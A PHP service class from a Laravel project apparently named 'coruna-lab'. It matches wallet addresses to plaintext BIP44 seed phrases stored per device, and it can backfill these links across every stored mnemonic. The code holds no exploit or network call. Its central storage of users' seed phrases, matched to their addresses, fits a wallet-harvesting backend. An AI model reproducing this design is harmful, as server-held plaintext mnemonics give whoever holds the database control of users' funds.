Files
coruna-lab/app/Services/MnemonicAddressLinker.php
T
2026-08-17 02:12:52 +08:00

228 lines
6.2 KiB
PHP

<?php
namespace App\Services;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainManager;
use InvalidArgumentException;
class MnemonicAddressLinker
{
public const MAX_DERIVE_INDEX = 4;
public function __construct(
private readonly ChainManager $chains,
) {}
/**
* Link a single address to a device mnemonic when BIP44 index 0..4 matches.
*/
public function linkAddress(WalletAddress $address): bool
{
if ($address->mnemonic_id !== null) {
return false;
}
$driver = $this->resolveDriver((string) $address->chain_type);
if ($driver === null) {
return false;
}
$mnemonics = WalletMnemonic::query()
->where('device_id', $address->device_id)
->orderBy('id')
->get();
if ($mnemonics->isEmpty()) {
return false;
}
$target = (string) $address->address;
$caseInsensitive = $driver->chainId() === 'eth';
foreach ($mnemonics as $mnemonicRow) {
$phrase = $mnemonicRow->mnemonic;
if ($phrase === null || trim($phrase) === '') {
continue;
}
$matchedIndex = $this->matchIndex($driver, $phrase, $target, $caseInsensitive);
if ($matchedIndex === null) {
continue;
}
$address->mnemonic_id = $mnemonicRow->id;
$address->derive_index = $matchedIndex;
$address->save();
return true;
}
return false;
}
/**
* After a new mnemonic is stored: link all unlinked addresses on the same device
* whose chains appear among those addresses (only those chains are derived).
*
* @return int Number of addresses linked
*/
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
return 0;
}
$addresses = WalletAddress::query()
->where('device_id', $mnemonic->device_id)
->whereNull('mnemonic_id')
->orderBy('id')
->get();
if ($addresses->isEmpty()) {
return 0;
}
$chainTypes = $addresses
->pluck('chain_type')
->filter(fn ($c) => is_string($c) && $c !== '')
->unique()
->values()
->all();
/** @var array<string, array<string, int>> $derivedByChainKey map chainKey => [normalizedAddress => index] */
$derivedByChainKey = [];
foreach ($chainTypes as $chainType) {
$driver = $this->resolveDriver((string) $chainType);
if ($driver === null) {
continue;
}
$chainKey = $driver->chainId();
if (isset($derivedByChainKey[$chainKey])) {
continue;
}
$derivedByChainKey[$chainKey] = $this->deriveIndexMap($driver, $phrase);
}
if ($derivedByChainKey === []) {
return 0;
}
$linked = 0;
foreach ($addresses as $address) {
$driver = $this->resolveDriver((string) $address->chain_type);
if ($driver === null) {
continue;
}
$map = $derivedByChainKey[$driver->chainId()] ?? null;
if ($map === null) {
continue;
}
$lookup = $driver->chainId() === 'eth'
? strtolower((string) $address->address)
: (string) $address->address;
if (! array_key_exists($lookup, $map)) {
continue;
}
$address->mnemonic_id = $mnemonic->id;
$address->derive_index = $map[$lookup];
$address->save();
$linked++;
}
return $linked;
}
/**
* Backfill: for every mnemonic, link still-unlinked addresses on the same device
* when BIP44 index 0..4 matches.
*
* @return array{mnemonics: int, linked: int}
*/
public function backfill(): array
{
$mnemonics = 0;
$linked = 0;
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
$mnemonics++;
$linked += $this->linkMnemonicToDeviceAddresses($mnemonic);
}
return [
'mnemonics' => $mnemonics,
'linked' => $linked,
];
}
private function resolveDriver(string $chainType): ?ChainDriver
{
$chain = strtolower(trim($chainType));
if ($chain === '') {
return null;
}
// BNB / BSC share ETH derivation paths.
if (in_array($chain, ['bnb', 'bsc'], true)) {
$chain = 'eth';
}
try {
return $this->chains->resolve($chain);
} catch (InvalidArgumentException) {
return null;
}
}
/**
* @return array<string, int> normalized address => derive index
*/
private function deriveIndexMap(ChainDriver $driver, string $phrase): array
{
$caseInsensitive = $driver->chainId() === 'eth';
$map = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
} catch (\Throwable) {
break;
}
$key = $caseInsensitive ? strtolower($derived) : $derived;
if (! array_key_exists($key, $map)) {
$map[$key] = $index;
}
}
return $map;
}
private function matchIndex(
ChainDriver $driver,
string $phrase,
string $target,
bool $caseInsensitive,
): ?int {
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
} catch (\Throwable) {
return null;
}
$match = $caseInsensitive
? strcasecmp($derived, $target) === 0
: $derived === $target;
if ($match) {
return $index;
}
}
return null;
}
}